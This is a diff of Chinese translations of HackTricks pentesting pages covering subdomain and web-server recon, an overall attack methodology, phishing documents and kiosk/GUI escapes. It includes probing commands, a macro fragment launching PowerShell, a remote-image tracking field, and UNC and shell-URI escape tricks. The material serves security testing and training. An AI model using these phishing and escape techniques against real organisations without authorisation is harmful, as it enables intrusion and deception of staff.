**证书透明度** 日志来 **监控** 是否创建了域的新 **子域名** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)实现。 +你可以通过监控 **证书透明度** 日志来 **监控** 是否创建了域的新 **子域名**,[**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) 可以做到这一点。 ### **寻找漏洞** -检查可能的 [**子域名接管**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover)。\ -如果 **子域名** 指向某个 **S3 桶**,请 [**检查权限**](../../network-services-pentesting/pentesting-web/buckets/index.html)。 +检查可能的 [**子域名接管**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\ +如果 **子域名** 指向某个 **S3 桶**,[**检查权限**](../../network-services-pentesting/pentesting-web/buckets/index.html)。 -如果您发现任何 **子域名的 IP 与您在资产发现中找到的不同**,您应该执行 **基本漏洞扫描**(使用 Nessus 或 OpenVAS)和一些 [**端口扫描**](../pentesting-network/index.html#discovering-hosts-from-the-outside) 使用 **nmap/masscan/shodan**。根据运行的服务,您可以在 **本书中找到一些“攻击”它们的技巧**。\ -&#xNAN;_Note 有时子域名托管在不受客户控制的 IP 内,因此不在范围内,请小心。_ +如果你发现任何 **子域名的 IP 与** 你在资产发现中已经找到的不同,你应该进行 **基本漏洞扫描**(使用 Nessus 或 OpenVAS)和一些 [**端口扫描**](../pentesting-network/index.html#discovering-hosts-from-the-outside) 使用 **nmap/masscan/shodan**。根据运行的服务,你可以在 **本书中找到一些“攻击”它们的技巧**。\ +_请注意,有时子域名托管在不受客户控制的 IP 内,因此不在范围内,请小心。_ ## IPs -在初始步骤中,您可能已经 **找到了一些 IP 范围、域名和子域名**。\ -现在是 **收集这些范围内的所有 IP** 和 **域名/子域名(DNS 查询)**的时候。 +在初始步骤中,你可能已经 **找到了一些 IP 范围、域名和子域名**。\ +现在是 **收集这些范围内的所有 IP** 和 **域名/子域名(DNS 查询)** 的时候了。 -使用以下 **免费 API** 的服务,您还可以找到 **域名和子域名之前使用的 IP**。这些 IP 可能仍然归客户所有(并可能让您找到 [**CloudFlare 绕过**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)) +使用以下 **免费 API** 的服务,你还可以找到 **域名和子域名之前使用的 IP**。这些 IP 可能仍然归客户所有(并可能让你找到 [**CloudFlare 绕过**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)) - [**https://securitytrails.com/**](https://securitytrails.com/) -您还可以使用工具 [**hakip2host**](https://github.com/hakluke/hakip2host) 检查指向特定 IP 地址的域名。 +你还可以使用工具 [**hakip2host**](https://github.com/hakluke/hakip2host) 检查指向特定 IP 地址的域名。 ### **寻找漏洞** -**对所有不属于 CDN 的 IP 进行端口扫描**(因为您很可能不会在其中找到任何有趣的内容)。在发现的运行服务中,您可能 **能够找到漏洞**。 +**对所有不属于 CDN 的 IP 进行端口扫描**(因为你很可能不会在这里找到任何有趣的东西)。在发现的运行服务中,你可能 **能够找到漏洞**。 -**查找** [**指南**](../pentesting-network/index.html) **关于如何扫描主机。** +**查找一个** [**指南**](../pentesting-network/index.html) **关于如何扫描主机。** ## 网络服务器猎杀 > 我们已经找到了所有公司及其资产,并且我们知道范围内的 IP 范围、域名和子域名。现在是搜索网络服务器的时候了。 -在之前的步骤中,您可能已经对发现的 IP 和域名进行了某些 **侦察**,因此您可能 **已经找到了所有可能的网络服务器**。但是,如果您还没有,我们现在将看到一些 **快速技巧来搜索范围内的网络服务器**。 +在之前的步骤中,你可能已经对发现的 IP 和域名进行了某些 **侦察**,因此你可能 **已经找到了所有可能的网络服务器**。然而,如果你还没有,我们现在将看到一些 **快速技巧来搜索范围内的网络服务器**。 -请注意,这将是 **面向网络应用程序发现** 的,因此您还应该 **执行漏洞** 和 **端口扫描**(**如果范围允许**)。 +请注意,这将是 **面向网络应用发现** 的,因此你也应该 **进行漏洞** 和 **端口扫描**(如果范围允许的话)。 -一种 **快速方法** 是使用 [**masscan** 在此处发现与 **网络** 服务器相关的 **开放端口**](../pentesting-network/index.html#http-port-discovery)。\ -另一个友好的工具是 [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) 和 [**httpx**](https://github.com/projectdiscovery/httpx)。您只需传递一个域名列表,它将尝试连接到 80 端口(http)和 443 端口(https)。此外,您可以指示尝试其他端口: +一种 **快速方法** 是使用 [**masscan** 在这里发现与 **网络** 服务器相关的 **开放端口**](../pentesting-network/index.html#http-port-discovery)。\ +另一个友好的工具是 [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) 和 [**httpx**](https://github.com/projectdiscovery/httpx)。你只需传递一个域名列表,它将尝试连接到 80(http)和 443(https)端口。此外,你可以指示尝试其他端口: ```bash cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443 cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443 ``` ### **截图** -现在你已经发现了范围内的**所有网络服务器**(包括公司的**IP**和所有的**域名**及**子域名**),你可能**不知道从哪里开始**。所以,让我们简单一点,开始对它们进行截图。仅仅通过**查看****主页**,你就可以找到更**容易**被**利用**的**奇怪**端点。 +现在你已经发现了范围内的**所有网络服务器**(包括公司的**IP**和所有的**域名**及**子域名**),你可能**不知道从哪里开始**。所以,让我们简单一点,先对它们进行截图。仅仅通过**查看****主页**,你就可以找到更**容易**被**利用**的**奇怪**端点。 -要执行这个提议,你可以使用 [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness)、[**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot)、[**Aquatone**](https://github.com/michenriksen/aquatone)、[**Shutter**](https://shutter-project.org/downloads/third-party-packages/)、[**Gowitness**](https://github.com/sensepost/gowitness) 或 [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**。** +为了执行这个提议,你可以使用 [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness)、[**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot)、[**Aquatone**](https://github.com/michenriksen/aquatone)、[**Shutter**](https://shutter-project.org/downloads/third-party-packages/)、[**Gowitness**](https://github.com/sensepost/gowitness) 或 [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**。** 此外,你还可以使用 [**eyeballer**](https://github.com/BishopFox/eyeballer) 来分析所有的**截图**,告诉你**哪些可能包含漏洞**,哪些则不然。 ## 公有云资产 -为了找到属于公司的潜在云资产,你应该**从一份识别该公司的关键词列表开始**。例如,对于一家加密公司,你可以使用以下词汇:“`"crypto", "wallet", "dao", "", <"subdomain_names">`”。 +为了找到属于公司的潜在云资产,你应该**从一份识别该公司的关键词列表开始**。例如,对于一家加密公司,你可以使用以下词汇:“`crypto`”、“`wallet`”、“`dao`”、“``”、“``”。 你还需要一些**常用词汇的字典**,用于存储桶: @@ -522,7 +522,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a ## 电子邮件 -通过范围内的**域名**和**子域名**,你基本上拥有了**开始搜索电子邮件**所需的一切。这些是我找到公司电子邮件时效果最好的**API**和**工具**: +通过范围内的**域名**和**子域名**,你基本上已经拥有了**开始搜索电子邮件**所需的一切。这些是我找到公司电子邮件时效果最好的**API**和**工具**: - [**theHarvester**](https://github.com/laramies/theHarvester) - 使用API - [**https://hunter.io/**](https://hunter.io/) 的API(免费版) @@ -531,7 +531,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a ### **寻找漏洞** -电子邮件在后续**暴力破解网络登录和身份验证服务**(如SSH)时会派上用场。此外,它们在**网络钓鱼**中也是必需的。此外,这些API还会提供关于电子邮件背后**个人**的更多**信息**,这对网络钓鱼活动非常有用。 +电子邮件在后续**暴力破解网络登录和身份验证服务**(如SSH)时会派上用场。此外,它们在**钓鱼**中也是必需的。此外,这些API还会提供关于电子邮件背后**个人**的更多**信息**,这对钓鱼活动非常有用。 ## 凭证泄露 @@ -553,11 +553,11 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a 凭证和API可能在**公司**或在该github公司工作的**用户**的**公共仓库**中泄露。\ 你可以使用**工具** [**Leakos**](https://github.com/carlospolop/Leakos) 来**下载**一个**组织**及其**开发者**的所有**公共仓库**,并自动运行 [**gitleaks**](https://github.com/zricethezav/gitleaks)。 -**Leakos** 也可以用于对所有提供的**URL**进行**gitleaks**扫描,因为有时**网页中也包含秘密**。 +**Leakos** 也可以用于对所有**文本**提供的**URL**运行**gitleaks**,因为有时**网页中也包含秘密**。 #### Github Dorks -还可以查看此**页面**,寻找你可以在攻击的组织中搜索的潜在**github dorks**: +还可以查看这个**页面**,寻找你可以在攻击的组织中搜索的潜在**github dorks**: {{#ref}} github-leaked-secrets.md @@ -572,7 +572,7 @@ github-leaked-secrets.md 老而经典的google dorks总是有助于找到**不该存在的暴露信息**。唯一的问题是 [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) 包含数千个你无法手动运行的可能查询。因此,你可以选择你最喜欢的10个,或者使用**工具如** [**Gorks**](https://github.com/carlospolop/Gorks) **来运行它们**。 -_请注意,期望使用常规Google浏览器运行所有数据库的工具将永远无法完成,因为Google会很快阻止你。_ +_请注意,期望使用常规Google浏览器运行整个数据库的工具将永远无法完成,因为Google会很快封锁你。_ ### **寻找漏洞** @@ -594,13 +594,13 @@ _请注意,期望使用常规Google浏览器运行所有数据库的工具将 ## [**网络渗透测试方法论**](../../network-services-pentesting/pentesting-web/index.html) -**大多数漏洞**都是由漏洞猎人发现的,存在于**网络应用程序**中,因此在这一点上,我想谈谈**网络应用程序测试方法论**,你可以 [**在这里找到这些信息**](../../network-services-pentesting/pentesting-web/index.html)。 +**大多数漏洞**都是由漏洞猎人发现的,存在于**网络应用程序**中,因此在这一点上,我想谈谈**网络应用程序测试方法论**,你可以在 [**这里找到这些信息**](../../network-services-pentesting/pentesting-web/index.html)。 -我还想特别提到 [**开源工具的网络自动扫描器**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners) 这一部分,因为,虽然你不应该指望它们能找到非常敏感的漏洞,但它们在**工作流程中提供一些初步的网络信息**时非常有用。 +我还想特别提到 [**Web自动化扫描器开源工具**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners) 这一部分,因为虽然你不应该指望它们能找到非常敏感的漏洞,但它们在**工作流程中提供一些初步的网络信息**时非常有用。 ## 综述 -> 恭喜!到目前为止,你已经完成了**所有基本的枚举**。是的,这很基础,因为还有很多其他的枚举可以进行(稍后会看到更多技巧)。 +> 恭喜!到目前为止,你已经完成了**所有基本枚举**。是的,这很基础,因为还有更多的枚举可以进行(稍后会看到更多技巧)。 所以你已经: @@ -614,16 +614,16 @@ _请注意,期望使用常规Google浏览器运行所有数据库的工具将 8. **电子邮件**、**凭证泄露**和**秘密泄露**,这些可能会给你带来**非常轻松的重大胜利**。 9. **渗透测试你找到的所有网站** -## **全自动侦查工具** +## **全面侦查自动化工具** -有几种工具可以执行针对给定范围的部分提议操作。 +有几种工具可以执行针对特定范围的部分提议操作。 - [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine) - [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus) - [**https://github.com/six2dez/reconftw**](https://github.com/six2dez/reconftw) - [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - 有点旧且未更新 -## **参考文献** +## **参考资料** - 所有免费的 [**@Jhaddix**](https://twitter.com/Jhaddix) 课程,如 [**漏洞猎人的方法论 v4.0 - 侦查版**](https://www.youtube.com/watch?v=p4JgIu1mceI) diff --git a/src/generic-methodologies-and-resources/pentesting-methodology.md b/src/generic-methodologies-and-resources/pentesting-methodology.md index fde7a91e4..7fd117bed 100644 --- a/src/generic-methodologies-and-resources/pentesting-methodology.md +++ b/src/generic-methodologies-and-resources/pentesting-methodology.md @@ -11,14 +11,14 @@ _Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieran ### 0- 物理攻击 -你是否对你想攻击的机器有**物理访问**?你应该阅读一些关于[**物理攻击的技巧**](../hardware-physical-access/physical-attacks.md)和其他关于[**逃避GUI应用程序**](../hardware-physical-access/escaping-from-gui-applications.md)的内容。 +你是否对你想攻击的机器有**物理访问**?你应该阅读一些关于[**物理攻击的技巧**](../hardware-physical-access/physical-attacks.md)和其他关于[**从GUI应用程序逃脱**](../hardware-physical-access/escaping-from-gui-applications.md)的内容。 ### 1 - [发现网络中的主机](pentesting-network/index.html#discovering-hosts)/ [发现公司的资产](external-recon-methodology/index.html) **根据**你进行的**测试**是**内部测试还是外部测试**,你可能会对查找**公司网络内部的主机**(内部测试)或**在互联网上查找公司的资产**(外部测试)感兴趣。 > [!NOTE] -> 请注意,如果你正在进行外部测试,一旦你成功获得公司内部网络的访问权限,你应该重新开始本指南。 +> 请注意,如果你正在进行外部测试,一旦你成功获得对公司内部网络的访问,你应该重新开始本指南。 ### **2-** [**在网络中玩乐**](pentesting-network/index.html) **(内部)** @@ -31,22 +31,22 @@ _Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieran ### **4-** [搜索服务版本漏洞](../generic-hacking/search-exploits.md) -一旦你知道哪些服务在运行,也许还有它们的版本,你就必须**搜索已知的漏洞**。也许你会运气好,找到一个可以给你一个shell的漏洞... +一旦你知道哪些服务在运行,也许还知道它们的版本,你就必须**搜索已知的漏洞**。也许你会运气好,找到一个可以让你获得shell的漏洞... ### **5-** Pentesting服务 如果没有任何运行服务的花哨漏洞,你应该寻找**每个运行服务中的常见错误配置**。 -**在本书中,你将找到一个关于渗透测试最常见服务的指南**(以及其他不那么常见的服务)。请在左侧索引中搜索**_**PENTESTING**_ **部分**(服务按其默认端口排序)。 +**在本书中,你将找到一个关于最常见服务的pentest指南**(以及其他不太常见的服务)。请在左侧索引中搜索**_**PENTESTING**_ **部分**(服务按其默认端口排序)。 **我想特别提到** [**Pentesting Web**](../network-services-pentesting/pentesting-web/index.html) **部分(因为这是最广泛的部分)。**\ 此外,这里还有一个关于如何[**查找软件中的已知漏洞**](../generic-hacking/search-exploits.md)的小指南。 -**如果你的服务不在索引中,请在Google中搜索**其他教程,并**告诉我你是否希望我添加它。**如果你**在Google中找不到任何东西**,请进行**自己的盲目渗透测试**,你可以开始**连接到服务,模糊测试并阅读响应**(如果有的话)。 +**如果你的服务不在索引中,请在Google中搜索**其他教程,并**告诉我你是否希望我添加它。**如果你**在Google中找不到任何东西**,请进行**自己的盲目pentesting**,你可以开始**连接到服务,模糊测试并阅读响应**(如果有的话)。 #### 5.1 自动工具 -还有几种工具可以执行**自动漏洞评估**。**我建议你尝试** [**Legion**](https://github.com/carlospolop/legion)**,这是我创建的工具,基于你可以在本书中找到的关于渗透测试服务的笔记。** +还有几种工具可以执行**自动漏洞评估**。**我建议你尝试** [**Legion**](https://github.com/carlospolop/legion)**,这是我创建的工具,基于你可以在本书中找到的关于pentesting服务的笔记。** #### **5.2 暴力破解服务** @@ -54,17 +54,17 @@ _Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieran ### 6- [钓鱼](phishing-methodology/index.html) -如果到目前为止你还没有找到任何有趣的漏洞,你**可能需要尝试一些钓鱼**以便进入网络。你可以在[这里](phishing-methodology/index.html)阅读我的钓鱼方法论: +如果到目前为止你还没有找到任何有趣的漏洞,你**可能需要尝试一些钓鱼**以进入网络。你可以在[这里](phishing-methodology/index.html)阅读我的钓鱼方法论: ### **7-** [**获取Shell**](../generic-hacking/reverse-shells/index.html) 不知怎么的,你应该找到**在受害者上执行代码的某种方法**。然后,[在系统中可以用来获取反向shell的可能工具列表将非常有用](../generic-hacking/reverse-shells/index.html)。 -特别是在Windows中,你可能需要一些帮助来**避免杀毒软件**:[**查看此页面**](../windows-hardening/av-bypass.md)**。**\\ +特别是在Windows中,你可能需要一些帮助来**避免杀毒软件**:[**查看此页面**](../windows-hardening/av-bypass.md)**。** ### 8- 内部 -如果你在shell中遇到问题,这里有一个小的**最有用命令的汇编**供渗透测试人员使用: +如果你在shell中遇到问题,这里有一个小的**最有用命令的汇编**供pentester使用: - [**Linux**](../linux-hardening/useful-linux-commands.md) - [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md) @@ -79,7 +79,7 @@ _Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieran #### **10.1- 本地特权升级** 如果你在盒子里**不是root/管理员**,你应该找到一种方法来**提升特权**。\ -在这里你可以找到关于在**Linux**和**Windows**中本地提升特权的**指南**:[**Linux**](../linux-hardening/privilege-escalation/index.html) **和** [**Windows**](../windows-hardening/windows-local-privilege-escalation/index.html)**。**\ +在这里你可以找到关于如何在**Linux**(../linux-hardening/privilege-escalation/index.html)和**Windows**(../windows-hardening/windows-local-privilege-escalation/index.html)中本地提升特权的**指南**。\ 你还应该查看这些关于**Windows工作原理**的页面: - [**身份验证、凭据、令牌特权和UAC**](../windows-hardening/authentication-credentials-uac-and-efs/index.html) @@ -91,28 +91,28 @@ _Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieran #### **10.2- 域特权升级** -在这里你可以找到一篇[**方法论,解释最常见的操作以枚举、提升特权和在Active Directory中持久化**](../windows-hardening/active-directory-methodology/index.html)。即使这只是一个部分的子部分,这个过程在渗透测试/红队任务中可能是**极其微妙**的。 +在这里你可以找到一篇[**方法论,解释最常见的操作以枚举、提升特权和在Active Directory中持久化**](../windows-hardening/active-directory-methodology/index.html)。即使这只是一个部分的子部分,这个过程在Pentesting/Red Team任务中可能是**极其微妙**的。 ### 11 - POST #### **11**.1 - 掠夺 -检查你是否可以在主机中找到更多**密码**,或者你是否有**访问其他机器**的**权限**。\ +检查你是否可以在主机中找到更多**密码**,或者你是否有**访问其他机器**的**用户权限**。\ 在这里找到不同的方法来[**在Windows中转储密码**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)。 #### 11.2 - 持久性 -**使用2到3种不同类型的持久性机制,这样你就不需要再次利用系统。**\ +**使用2或3种不同类型的持久性机制,这样你就不需要再次利用系统。**\ **在这里你可以找到一些** [**关于Active Directory的持久性技巧**](../windows-hardening/active-directory-methodology/index.html#persistence)**。** TODO: 完成Windows和Linux中的持久性Post ### 12 - 透传 -通过**收集到的凭据**,你可能可以访问其他机器,或者你可能需要**发现和扫描新主机**(重新开始渗透测试方法论)在受害者连接的新网络中。\ +通过**收集到的凭据**,你可能可以访问其他机器,或者你可能需要**发现和扫描新主机**(重新开始Pentesting Methodology)在受害者连接的新网络中。\ 在这种情况下,隧道可能是必要的。这里你可以找到[**关于隧道的文章**](../generic-hacking/tunneling-and-port-forwarding.md)。\ -你绝对应该查看关于[Active Directory渗透测试方法论](../windows-hardening/active-directory-methodology/index.html)的文章。在那里你会找到很酷的技巧来横向移动、提升特权和转储凭据。\ -还要查看关于[**NTLM**](../windows-hardening/ntlm/index.html)的页面,这在Windows环境中透传可能非常有用。 +你绝对应该查看关于[Active Directory pentesting Methodology](../windows-hardening/active-directory-methodology/index.html)的文章。在那里你会找到很酷的技巧来横向移动、提升特权和转储凭据。\ +还要查看关于[**NTLM**](../windows-hardening/ntlm/index.html)的页面,这在Windows环境中透传时可能非常有用。 ### 更多 diff --git a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md index bd714560a..048054dd0 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md @@ -7,7 +7,7 @@ Microsoft Word 在打开文件之前会执行文件数据验证。数据验证以数据结构识别的形式进行,符合 OfficeOpenXML 标准。如果在数据结构识别过程中发生任何错误,正在分析的文件将无法打开。 通常,包含宏的 Word 文件使用 `.docm` 扩展名。然而,可以通过更改文件扩展名来重命名文件,并仍然保持其宏执行能力。\ -例如,RTF 文件在设计上不支持宏,但将 DOCM 文件重命名为 RTF 后,将由 Microsoft Word 处理,并能够执行宏。\ +例如,RTF 文件在设计上不支持宏,但重命名为 RTF 的 DOCM 文件将被 Microsoft Word 处理,并能够执行宏。\ 相同的内部机制适用于 Microsoft Office 套件的所有软件(Excel、PowerPoint 等)。 您可以使用以下命令检查某些 Office 程序将执行哪些扩展名: @@ -19,7 +19,7 @@ DOCX 文件引用远程模板(文件 - 选项 - 插件 - 管理:模板 - 转 ### 外部图像加载 转到:_插入 --> 快速部件 --> 字段_\ -&#xNAN;_**类别**:链接和引用,**字段名称**:includePicture,**文件名或 URL**:_ http://\/whatever +_**类别**:链接和引用,**字段名称**:includePicture,**文件名或 URL**:_ http://\/whatever ![](<../../images/image (155).png>) @@ -66,7 +66,7 @@ proc.Create "powershell ``` #### 手动删除元数据 -前往 **File > Info > Inspect Document > Inspect Document**,这将打开文档检查器。点击 **Inspect**,然后在 **Document Properties and Personal Information** 旁边点击 **Remove All**。 +转到 **File > Info > Inspect Document > Inspect Document**,这将打开文档检查器。点击 **Inspect** 然后在 **Document Properties and Personal Information** 旁边点击 **Remove All**。 #### 文档扩展名 diff --git a/src/hardware-physical-access/escaping-from-gui-applications.md b/src/hardware-physical-access/escaping-from-gui-applications.md index 3ce21faf6..e557decd5 100644 --- a/src/hardware-physical-access/escaping-from-gui-applications.md +++ b/src/hardware-physical-access/escaping-from-gui-applications.md @@ -8,7 +8,7 @@ | 组件 | 操作 | | ------------ | ------------------------------------------------------------------ | -| 电源按钮 | 关闭并重新打开设备可能会显示启动屏幕 | +| 电源按钮 | 关闭设备并重新打开可能会显示启动屏幕 | | 电源线 | 检查设备在短暂断电时是否重新启动 | | USB端口 | 连接物理键盘以使用更多快捷键 | | 以太网 | 网络扫描或嗅探可能会启用进一步的利用 | @@ -18,7 +18,7 @@ **常见对话框**是那些**保存文件**、**打开文件**、选择字体、颜色等选项。大多数情况下,它们将**提供完整的资源管理器功能**。这意味着如果您可以访问这些选项,您将能够访问资源管理器功能: - 关闭/另存为 -- 打开/用...打开 +- 打开/使用打开 - 打印 - 导出/导入 - 搜索 @@ -33,7 +33,7 @@ ### 命令执行 -也许**使用`用...打开`**选项,您可以打开/执行某种shell。 +也许**使用`Open with`选项**您可以打开/执行某种shell。 #### Windows @@ -48,11 +48,11 @@ _bash, sh, zsh..._ 更多信息请见:[https://gtfobins.github.io/](https://gt ### 绕过路径限制 - **环境变量**:有很多环境变量指向某个路径 -- **其他协议**: _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_ +- **其他协议**:_about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_ - **符号链接** -- **快捷方式**: CTRL+N(打开新会话),CTRL+R(执行命令),CTRL+SHIFT+ESC(任务管理器),Windows+E(打开资源管理器),CTRL-B,CTRL-I(收藏夹),CTRL-H(历史记录),CTRL-L,CTRL-O(文件/打开对话框),CTRL-P(打印对话框),CTRL-S(另存为) +- **快捷方式**:CTRL+N(打开新会话),CTRL+R(执行命令),CTRL+SHIFT+ESC(任务管理器),Windows+E(打开资源管理器),CTRL-B,CTRL-I(收藏夹),CTRL-H(历史记录),CTRL-L,CTRL-O(文件/打开对话框),CTRL-P(打印对话框),CTRL-S(另存为) - 隐藏的管理菜单:CTRL-ALT-F8,CTRL-ESC-F9 -- **Shell URI**: _shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_ +- **Shell URIs**:_shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_ - **UNC路径**:连接到共享文件夹的路径。您应该尝试连接到本地计算机的C$("\\\127.0.0.1\c$\Windows\System32") - **更多UNC路径:** @@ -111,18 +111,18 @@ _bash, sh, zsh..._ 更多信息请见:[https://gtfobins.github.io/](https://gt - CTRL+O – 打开文件 - CTRL+S – 保存 CTRL+N – 新RDP / Citrix -### 滑动 +### 滑动操作 - 从左侧向右滑动以查看所有打开的窗口,最小化KIOSK应用程序并直接访问整个操作系统; - 从右侧向左滑动以打开操作中心,最小化KIOSK应用程序并直接访问整个操作系统; -- 从顶部边缘向下滑动以使全屏模式下的应用程序的标题栏可见; +- 从顶部边缘向下滑动以使全屏模式下的应用程序标题栏可见; - 从底部向上滑动以在全屏应用程序中显示任务栏。 ### Internet Explorer技巧 #### '图像工具栏' -这是一个在图像左上角点击时出现的工具栏。您将能够保存、打印、发送邮件、在资源管理器中打开“我的图片”。Kiosk需要使用Internet Explorer。 +这是一个在点击图像时出现在左上角的工具栏。您将能够保存、打印、发送邮件、在资源管理器中打开“我的图片”。Kiosk需要使用Internet Explorer。 #### Shell协议 @@ -159,7 +159,7 @@ _bash, sh, zsh..._ 更多信息请见:[https://gtfobins.github.io/](https://gt 备份iKat版本: [http://swin.es/k/](http://swin.es/k/)\ -[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\\ +[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net) 使用JavaScript创建一个通用对话框并访问文件资源管理器:`document.write('')`\ 来源:https://medium.com/@Rend\_/give-me-a-browser-ill-give-you-a-shell-de19811defa0 @@ -168,17 +168,17 @@ _bash, sh, zsh..._ 更多信息请见:[https://gtfobins.github.io/](https://gt ### 手势和按钮 -- 用四(或五)个手指向上滑动 / 双击Home按钮:查看多任务视图并切换应用 -- 用四(或五)个手指向一侧滑动:以切换到下一个/上一个应用 -- 用五个手指捏合屏幕 / 按下Home按钮 / 用1个手指快速从屏幕底部向上滑动:访问主屏幕 +- 用四个(或五个)手指向上滑动 / 双击Home按钮:查看多任务视图并切换应用 +- 用四个或五个手指向一侧滑动:以切换到下一个/上一个应用 +- 用五个手指捏合屏幕 / 按下Home按钮 / 用1个手指从屏幕底部快速向上滑动:访问主屏幕 - 用1个手指从屏幕底部滑动1-2英寸(慢):停靠栏将出现 - 用1个手指从显示器顶部向下滑动:查看通知 - 用1个手指从屏幕右上角向下滑动:查看iPad Pro的控制中心 - 用1个手指从屏幕左侧滑动1-2英寸:查看今日视图 - 用1个手指从屏幕中心快速向右或向左滑动:切换到下一个/上一个应用 -- 按住右上角的开/关/睡眠按钮 + 将滑块移动到右侧以**关闭电源**:关闭电源 -- 按住右上角的开/关/睡眠按钮和Home按钮几秒钟:强制硬关机 -- 快速按下右上角的开/关/睡眠按钮和Home按钮:截屏,截屏将出现在显示器左下角。按下两个按钮非常短暂地同时按下,如果按住几秒钟将执行硬关机。 +- 按住**iPad +**右上角的开/关/睡眠按钮,向右滑动**关机**滑块:关机 +- 按住**iPad**右上角的开/关/睡眠按钮和Home按钮几秒钟:强制硬关机 +- 快速按下**iPad**右上角的开/关/睡眠按钮和Home按钮:截屏,截屏将弹出在显示器左下角。按下两个按钮非常短暂地同时按下,如果按住几秒钟将执行硬关机。 ### 快捷键 @@ -205,13 +205,13 @@ _bash, sh, zsh..._ 更多信息请见:[https://gtfobins.github.io/](https://gt | -------- | ------------------------------------------------------------------------------ | | F1 | 调暗屏幕 | | F2 | 提亮屏幕 | -| F7 | 返回一首歌曲 | +| F7 | 回到上一首歌曲 | | F8 | 播放/暂停 | -| F9 | 跳过歌曲 | -| F10 | 静音 | -| F11 | 降低音量 | -| F12 | 增加音量 | -| ⌘ 空格 | 显示可用语言列表;要选择一种,请再次按空格键。 | +| F9 | 跳过歌曲 | +| F10 | 静音 | +| F11 | 降低音量 | +| F12 | 增加音量 | +| ⌘ Space | 显示可用语言列表;要选择一种,请再次按空格键。 | #### iPad导航 @@ -219,14 +219,14 @@ _bash, sh, zsh..._ 更多信息请见:[https://gtfobins.github.io/](https://gt | -------------------------------------------------- | ------------------------------------------------------- | | ⌘H | 返回主屏幕 | | ⌘⇧H (Command-Shift-H) | 返回主屏幕 | -| ⌘ (空格) | 打开Spotlight | +| ⌘ (Space) | 打开Spotlight | | ⌘⇥ (Command-Tab) | 列出最近使用的十个应用 | -| ⌘\~ | 返回上一个应用 | +| ⌘\~ | 返回上一个应用 | | ⌘⇧3 (Command-Shift-3) | 截屏(悬停在左下角以保存或操作) | -| ⌘⇧4 | 截屏并在编辑器中打开 | +| ⌘⇧4 | 截屏并在编辑器中打开 | | 按住⌘ | 列出可用于该应用的快捷键 | -| ⌘⌥D (Command-Option/Alt-D) | 打开停靠栏 | -| ^⌥H (Control-Option-H) | 主屏幕按钮 | +| ⌘⌥D (Command-Option/Alt-D) | 打开停靠栏 | +| ^⌥H (Control-Option-H) | 主按钮 | | ^⌥H H (Control-Option-H-H) | 显示多任务栏 | | ^⌥I (Control-Option-i) | 项目选择器 | | Escape | 返回按钮 | @@ -239,7 +239,7 @@ _bash, sh, zsh..._ 更多信息请见:[https://gtfobins.github.io/](https://gt | ^⌥S (Control-Option-S) | 开启或关闭VoiceOver语音 | | ⌘⇧⇥ (Command-Shift-Tab) | 切换到上一个应用 | | ⌘⇥ (Command-Tab) | 切换回原始应用 | -| ←+→,然后Option + ←或Option+→ | 在Dock中导航 | +| ←+→,然后Option + ←或Option+→ | 在Dock中导航 | #### Safari快捷键 @@ -266,8 +266,8 @@ _bash, sh, zsh..._ 更多信息请见:[https://gtfobins.github.io/](https://gt | ⌘T | 打开新标签 | | ⌘W | 关闭当前标签 | | ⌘R | 刷新当前标签 | -| ⌘. | 停止加载当前标签 | -| ⌘⌥F (Command-Option/Alt-F) | 在邮箱中搜索 | +| ⌘. | 停止加载当前标签 | +| 